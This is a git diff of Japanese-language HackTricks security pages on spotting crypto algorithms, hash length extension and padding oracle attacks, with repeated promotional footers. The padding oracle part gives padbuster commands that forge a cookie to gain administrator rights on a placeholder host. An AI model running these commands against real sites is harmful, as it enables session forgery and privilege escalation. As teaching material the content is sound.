などの他の暗号アルゴリズムでも使用されています)。\ -また、**ループのサイズ**(**132**)、**XOR 演算の数**(**逆アセンブリの命令**および**コード**の例で)に注目してください: +次の画像で、定数 **0x9E3779B9** が使用されていることに注目してください(この定数は **TEA** -Tiny Encryption Algorithm などの他の暗号アルゴリズムでも使用されていることに注意してください)。\ +また、**ループのサイズ**(**132**)、**逆アセンブリ** 命令および **コード** の例での **XOR 演算の数** に注目してください: -![](<../../.gitbook/assets/image (381).png>) +![](<../../.gitbook/assets/image (547).png>) -前述のように、このコードは**非常に長い関数**として任意の逆コンパイラ内で視覚化でき、その中に**ジャンプがない**ためです。逆コンパイルされたコードは次のように見える可能性があります: +前述のように、このコードは **非常に長い関数** として任意のデコンパイラ内で視覚化できます。この長い関数の逆コンパイルされたコードは次のように見えるかもしれません: -![](<../../.gitbook/assets/image (382).png>) +![](<../../.gitbook/assets/image (513).png>) -したがって、このアルゴリズムを特定するには、**マジックナンバー**と**初期 XOR**をチェックし、**非常に長い関数**を見て、いくつかの**命令**を**実装**と比較することが可能です(たとえば、左に 7 ビットシフトおよび左に 22 ビット回転)。 - -## RSA **(非対称暗号)** +したがって、**マジックナンバー** と **初期 XOR** をチェックし、**非常に長い関数** を見て、いくつかの **命令** を **実装** と比較することで、このアルゴリズムを特定することが可能です。 +## RSA **(非対称暗号)** ### 特徴 -* 対称アルゴリズムよりも複雑 -* 定数はありません!(カスタム実装は特定が難しい) -* KANAL(暗号解析ツール)は RSA についてのヒントを表示できず、定数に依存しています。 +* 対称アルゴリズムより複雑 +* 定数が存在しない!(カスタム実装は難しい) +* KANAL(暗号解析ツール)はRSAにヒントを示さず、定数に依存しているため失敗する。 -### 比較による特定 +### 比較による識別 -![](<../../.gitbook/assets/image (383).png>) +![](<../../.gitbook/assets/image (1113).png>) -* 左側の 11 行目には `+7) >> 3` があり、右側の 35 行目には `+7) / 8` があります -* 左側の 12 行目は `modulus_len < 0x040` をチェックしており、右側の 36 行目は `inputLen+11 > modulusLen` をチェックしています +* 11行目(左)には `+7) >> 3` があり、35行目(右)にも `+7) / 8` がある +* 12行目(左)は `modulus_len < 0x040` をチェックしており、36行目(右)は `inputLen+11 > modulusLen` をチェックしている ## MD5 & SHA(ハッシュ) ### 特徴 -* 初期化、更新、最終の 3 つの関数 -* 似た初期化関数 +* 初期化、更新、最終の3つの関数 +* 似たような初期化関数 -### 特定 +### 識別 -**Init** +**初期化** -両方を特定するには、定数をチェックしてください。sha\_init には MD5 にはない 1 つの定数があることに注意してください: +両方を識別するには定数をチェックできます。MD5にはない1つの定数が sha\_init にあることに注意してください: -![](<../../.gitbook/assets/image (385).png>) +![](<../../.gitbook/assets/image (406).png>) -**MD5 変換** +**MD5変換** より多くの定数の使用に注意してください -![](<../../.gitbook/assets/image (253) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (253) (1) (1).png>) ## CRC(ハッシュ) -* データの偶発的な変更を見つけるための機能として、より小さく、効率的です -* ルックアップテーブルを使用します(定数を特定できます) +* データの偶発的な変更を見つけるための関数として、より小さく効率的 +* ルックアップテーブルを使用する(定数を識別できる) -### 特定 +### 識別 -**ルックアップテーブルの定数**をチェックしてください: +**ルックアップテーブルの定数**をチェック: -![](<../../.gitbook/assets/image (387).png>) +![](<../../.gitbook/assets/image (508).png>) -CRC ハッシュアルゴリズムは次のようになります: +CRCハッシュアルゴリズムは次のように見えます: -![](<../../.gitbook/assets/image (386).png>) +![](<../../.gitbook/assets/image (391).png>) ## APLib(圧縮) ### 特徴 -* 識別可能な定数はありません -* Python でアルゴリズムを書いて、オンラインで類似したものを検索できます +* 識別できない定数 +* Pythonでアルゴリズムを書いて類似したものをオンラインで検索できます -### 特定 +### 識別 グラフはかなり大きいです: ![](<../../.gitbook/assets/image (207) (2) (1).png>) -認識するために**3 つの比較**をチェックしてください: +**それを認識するための3つの比較**をチェック: -![](<../../.gitbook/assets/image (384).png>) - - - -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! - -HackTricks をサポートする他の方法: - -* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 -* **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - - +![](<../../.gitbook/assets/image (430).png>) diff --git a/crypto-and-stego/esoteric-languages.md b/crypto-and-stego/esoteric-languages.md index 20323ff0f..d7f5c0445 100644 --- a/crypto-and-stego/esoteric-languages.md +++ b/crypto-and-stego/esoteric-languages.md @@ -2,19 +2,19 @@ -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ! -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけてください +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** ## [エソテリック言語ウィキ](https://esolangs.org/wiki/Main\_Page) -そのウィキをチェックして、さらにエソテリック言語を検索してください +エソテリック言語をさらに検索するためにそのウィキをチェックしてください ## Malbolge ``` @@ -25,7 +25,7 @@ ## npiet -![](<../.gitbook/assets/image (146).png>) +![](<../.gitbook/assets/image (691).png>) [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) @@ -62,7 +62,7 @@ Whisper my world ## PETOOH -ペトゥー +ペトゥー (PETOOH) は、スタックベースのエスパランとして知られるプログラミング言語です。 ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -74,12 +74,12 @@ Kukarek ``` -htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md index 9d07fb7d2..bbb5e1145 100644 --- a/crypto-and-stego/hash-length-extension-attack.md +++ b/crypto-and-stego/hash-length-extension-attack.md @@ -1,20 +1,22 @@ +# ハッシュ長延長攻撃 + -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** +- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 -### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) - + [**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 @@ -24,44 +26,44 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン {% embed url="https://whiteintel.io" %} ---- +*** -# 攻撃の概要 +## 攻撃の概要 -あるサーバーが、ある既知のクリアテキストデータに**秘密**を**追加**してそのデータに署名していると想像してください。以下を知っている場合: +あるサーバーが、ある既知のクリアテキストデータに**秘密**を**追加**してそのデータをハッシュ化していると想像してください。以下を知っている場合: -* **秘密の長さ**(これは与えられた長さ範囲からもブルートフォースできます) -* **クリアテキストデータ** -* **アルゴリズム(およびこの攻撃に対して脆弱である)** -* **パディングが既知である** -* 通常、デフォルトのものが使用されるため、他の3つの要件が満たされている場合、これも満たされます -* パディングは秘密+データの長さに応じて異なります。そのため、秘密の長さが必要です +- **秘密の長さ**(これは与えられた長さ範囲からもブルートフォースできます) +- **クリアテキストデータ** +- **アルゴリズム(およびこの攻撃に対して脆弱である)** +- **パディングが既知である** +- 通常、デフォルトのものが使用されるため、他の3つの要件が満たされている場合、これも満たされます +- パディングは秘密+データの長さに応じて異なります。そのため、秘密の長さが必要です -その後、**攻撃者**は**データ**を**追加**し、**前のデータ+追加されたデータ**の有効な**署名**を**生成**することが可能です。 +その後、**攻撃者**は**データを追加**し、**前のデータ+追加されたデータ**の有効な**署名**を**生成**することが可能です。 -## 方法 +### 方法 -基本的に、脆弱なアルゴリズムは、まず**データのブロックをハッシュ**し、その後、**以前に**作成された**ハッシュ**(状態)から、**次のデータのブロックを追加**して**ハッシュ**します。 +基本的に、脆弱なアルゴリズムは、まず**データブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から、**次のデータブロックを追加**して**ハッシュ化**します。 -次に、秘密が「secret」でデータが「data」であると想像してください。「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ +次に、秘密が「secret」でデータが「data」であると想像してください。"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ 攻撃者が文字列「append」を追加したい場合は: -* 64個の「A」のMD5を生成する -* 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する -* 文字列「append」を追加する -* ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」のための**有効なもの**になります +- 64個の「A」のMD5を生成する +- 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する +- 文字列「append」を追加する +- ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」のための**有効なもの**になります -## **ツール** +### **ツール** {% embed url="https://github.com/iagox86/hash_extender" %} -## 参考文献 +### 参考文献 -この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で詳しく説明されています +この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で詳しく説明されています。 -### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) - + [**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 @@ -73,14 +75,14 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md index 46d6ee5cc..cdbfc735d 100644 --- a/crypto-and-stego/padding-oracle-priv.md +++ b/crypto-and-stego/padding-oracle-priv.md @@ -1,37 +1,37 @@ -# Padding Oracle +# パディングオラクル -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。 -* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください** ## CBC - Cipher Block Chaining -CBCモードでは、**前の暗号化されたブロックが次のブロックとXOR演算**するためにIVとして使用されます: +CBCモードでは、**前の暗号化されたブロックがIVとして使用**され、次のブロックとXORされます: -![CBC encryption](https://defuse.ca/images/cbc\_encryption.png) +![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) -CBCを復号するには、**逆の操作**が行われます: +CBCを復号するには、**逆の操作**が行われます: -![CBC decryption](https://defuse.ca/images/cbc\_decryption.png) +![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) -**暗号化キー**と**IV**を使用する必要があることに注意してください。 +暗号化には**暗号化キー**と**IV**が必要です。 ## メッセージパディング 暗号化は**固定サイズのブロック**で行われるため、通常は**最後のブロックを完了するためにパディングが必要**です。\ -通常は**PKCS7**が使用され、パディングはブロックを完了するために**必要なバイト数を繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 +通常は**PKCS7**が使用され、パディングはブロックを**完了するために必要なバイト数を繰り返す**ように生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 -**長さ8バイトの2つのブロック**を持つさらなる例を見てみましょう: +**長さ8バイトの2ブロック**のさらなる例を見てみましょう: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -40,50 +40,42 @@ CBCを復号するには、**逆の操作**が行われます: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -最後の例では、**最後のブロックが完全だったため、パディングのみで別のブロックが生成**されたことに注意してください。 +最後の例では、**最後のブロックが完全だったため、別のブロックがパディングのみで生成**されたことに注意してください。 ## パディングオラクル -アプリケーションが暗号化されたデータを復号化すると、まずデータを復号化し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作をトリガー**した場合、**パディングオラクルの脆弱性**があります。検出可能な動作は**エラー**、**結果の欠如**、または**応答の遅延**などが考えられます。 +アプリケーションが暗号化されたデータを復号化すると、まずデータを復号化し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**と、**パディングオラクルの脆弱性**が発生します。検出可能な動作には、**エラー**、**結果の欠如**、または**応答の遅延**が含まれる可能性があります。 -この動作を検出した場合、**暗号化されたデータを復号**し、さらに**任意のクリアテキストを暗号化**することができます。 +この動作を検出した場合、**暗号化されたデータを復号化**し、さらに**任意のクリアテキストを暗号化**することができます。 ### 悪用方法 -この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行います。 - +この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行います ``` sudo apt-get install padbuster ``` - -サイトのクッキーが脆弱かどうかをテストするためには、次のような方法があります: - +サイトのクッキーが脆弱かどうかをテストするためには、次のように試すことができます: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**エンコーディング0**は、**base64**が使用されていることを意味します(他にも利用可能なものがありますが、ヘルプメニューを確認してください)。 -**エンコーディング0**は、**base64**が使用されていることを意味します(他にも利用可能なものがあります。ヘルプメニューを確認してください)。 - -この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が "**\_**user=MyUsername**\_**" であるとします。その場合、"\_user=administrator\_" に変更してアプリケーション内で特権を昇格させることができます。`paduster`を使用して、-plaintext\*\*パラメータを指定して行うこともできます。 - +この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が "**_**user=MyUsername**_**" であるとします。その場合、"\_user=administrator\_" に変更してアプリケーション内で特権を昇格させることができます。`paduster`を使用して、-plaintext**パラメータを指定して行うこともできます。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -もしサイトが脆弱性を持っている場合、`padbuster`は自動的にパディングエラーが発生するときを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 - +もしサイトが脆弱性を持っている場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` - ### 理論 -**要約すると**、異なるパディングを作成するために使用できる正しい値を推測して、暗号化されたデータの復号化を開始できます。その後、パディングオラクル攻撃は、**1、2、3などのパディングを作成する正しい値を推測**して、最後から最初に向かってバイトを復号化し始めます。 +**要約すると**、異なる**パディング**を作成するために使用できる正しい値を推測して、暗号化されたデータの復号化を開始できます。その後、パディングオラクル攻撃は、**1、2、3などのパディングを作成する正しい値を推測**して、最後から最初にバイトを復号化し始めます。 -![](<../.gitbook/assets/image (629) (1) (1).png>) +![](<../.gitbook/assets/image (561).png>) -暗号化されたテキストが**E0からE15**までのバイトで形成される**2つのブロック**を占めていると想像してください。\ -**最後のブロック**(**E8**から**E15**)を**復号化**するために、ブロック全体が「ブロック暗号の復号化」を通過し、**中間バイトI0からI15**が生成されます。\ +**E0からE15**までのバイトで形成される**2つのブロック**を占める暗号化されたテキストがあると想像してください。\ +**最後のブロック**(**E8**から**E15**)を**復号化**するために、ブロック暗号の復号化を通過すると、**中間バイトI0からI15**が生成されます。\ 最後に、各中間バイトは前の暗号化されたバイト(E0からE7)と**XOR**されます。つまり: * `C15 = D(E15) ^ E7 = I15 ^ E7` @@ -98,22 +90,22 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon これにより、**C15を計算**することが可能になります:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -**C15**を知っていると、**C14を計算**することができますが、この時はパディング`\x02\x02`をブルートフォースします。 +**C15**を知っているので、**C14を計算**することが可能になりますが、この時はパディング`\x02\x02`をブルートフォースします。 -このBFは前のものと同じくらい複雑です。0x02の値を持つ`E''15`を計算できるためです:`E''7 = \x02 ^ I15`なので、**`C14が0x02に等しい`**`E'14`を見つけるだけです。\ -その後、同じ手順を実行してC14を復号化します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +このBFは前のものと同じくらい複雑です。0x02の値を持つ`E''15`を計算できるので、`E''7 = \x02 ^ I15`を見つけるだけで、**`C14が0x02に等しい`**`E'14`を見つける必要があります。\ +その後、C14を復号化するために同じ手順を実行します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** **このチェーンに従って、暗号化されたテキスト全体を復号化します。** ### 脆弱性の検出 -アカウントを登録し、このアカウントでログインします。\ -**何度もログイン**しても**常に同じクッキー**を取得する場合、アプリケーションにはおそらく**何か問題**があります。ログインするたびに送信されるクッキーは**一意であるべき**です。クッキーが**常に同じ**であれば、おそらく常に有効であり、**無効にする方法はない**でしょう。 +このアカウントで登録してログインします。\ +**何度もログイン**しても**常に同じクッキー**を取得する場合、アプリケーションにはおそらく**何か問題**があります。ログインするたびに送信されるクッキーは**一意であるべき**です。クッキーが**常に同じ**であれば、おそらく常に有効で**無効にする方法はない**でしょう。 次に、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返ってくることがわかります。\ -ただし、パディングをBFすると(たとえばpadbusterを使用)、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオはpadbusterに対して非常に脆弱性がある可能性が高いです。 +ただし、パディングをBFすると(たとえばpadbusterを使用)、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオはpadbusterに非常に脆弱性がある可能性が高いです。 -## 参考文献 +### 参考文献 * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) @@ -124,9 +116,9 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つける * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、自分のハッキングトリックを共有する +* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index b0fb9392d..da65e92da 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,164 +1,161 @@ +# 反フォレンジック技術 + -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +htARTE(HackTricks AWS Red Team Expert)を使用して、AWSハッキングをゼロからヒーローまで学ぶ! HackTricksをサポートする他の方法: -* 